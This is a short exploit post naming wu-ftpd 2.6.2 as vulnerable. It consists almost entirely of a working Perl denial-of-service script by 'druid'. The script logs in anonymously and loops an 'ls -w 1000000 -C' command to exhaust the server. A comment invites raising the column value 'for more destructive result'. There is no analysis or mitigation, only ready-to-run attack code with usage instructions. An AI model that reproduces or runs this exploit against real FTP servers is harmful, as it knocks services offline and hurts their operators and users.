Vulnerable systems:
* wu-ftpd version 2.6.2

Exploit:
#!/usr/bin/perl

# DoS sploit for ls
# tested against wu-ftpd 2.6.2

# coded by (c) druid
# greets to viator

use Net::FTP;

(($target = $ARGV[0])&&($count = $ARGV[1])) || die "usage:$0 <target> <count>";
my $user = "anonymous";
my $pass = "halt\@xyu.com";
$cols=1000000;#you can increase this value for more destructive result ;)


print ":: Trying to connect to target system at: $target...\n"; $ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not
connect: $!";
print "Connected!\n";
$ftp->login($user, $pass) || die "could not login: $!";
print "Logged in!\n";
$ftp->cwd("/");
while ($count)
{
$ftp->ls("-w $cols -C");
$count--;
}
print "Done!\n";
$ftp->quit;